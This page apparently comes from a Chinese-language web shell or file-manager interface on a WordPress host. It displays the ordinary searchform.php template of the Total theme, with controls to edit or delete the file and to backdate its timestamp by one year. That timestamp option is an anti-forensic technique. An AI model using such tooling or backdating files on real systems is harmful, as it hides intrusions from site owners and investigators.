文件操作 - searchform.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/jimbrandstatter/public_html/wp-content/themes/Total/searchform.php
编辑文件内容
<?php /** * The template for displaying search forms * * @package Total WordPress theme * @subpackage Partials * @version 5.10 */ defined( 'ABSPATH' ) || exit; $placeholder = apply_filters( 'wpex_search_placeholder_text', esc_html__( 'Search', 'total' ), 'main' ); $action = apply_filters( 'wpex_search_action', esc_url( home_url( '/' ) ), 'main' ); $current_hook = current_action(); $class = 'searchform wpex-relative'; if ( 'wpex_hook_topbar_inner' === $current_hook ) { $class .= ' wpex-inline-block'; } ?> <form role="search" method="get" class="<?php echo esc_attr( $class ); ?>" action="<?php echo esc_attr( $action ); ?>"> <label class="searchform-label wpex-text-current wpex-block wpex-m-0 wpex-p-0"> <span class="screen-reader-text"><?php echo esc_html( $placeholder ); ?></span> <input type="search" class="searchform-input field" name="s" placeholder="<?php echo esc_attr( $placeholder ); ?>"> </label> <?php if ( ! empty( $args['post_type'] ) && is_string( $args['post_type'] ) ) : ?> <input type="hidden" name="post_type" value="<?php echo esc_attr( $args['post_type'] ); ?>"> <?php endif; ?> <?php do_action( 'wpex_searchform_fields' ); ?> <button type="submit" class="searchform-submit"><?php wpex_theme_icon_html( 'search' ); ?><span class="screen-reader-text"><?php esc_html_e( 'Submit', 'total' ); ?></span></button> </form>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件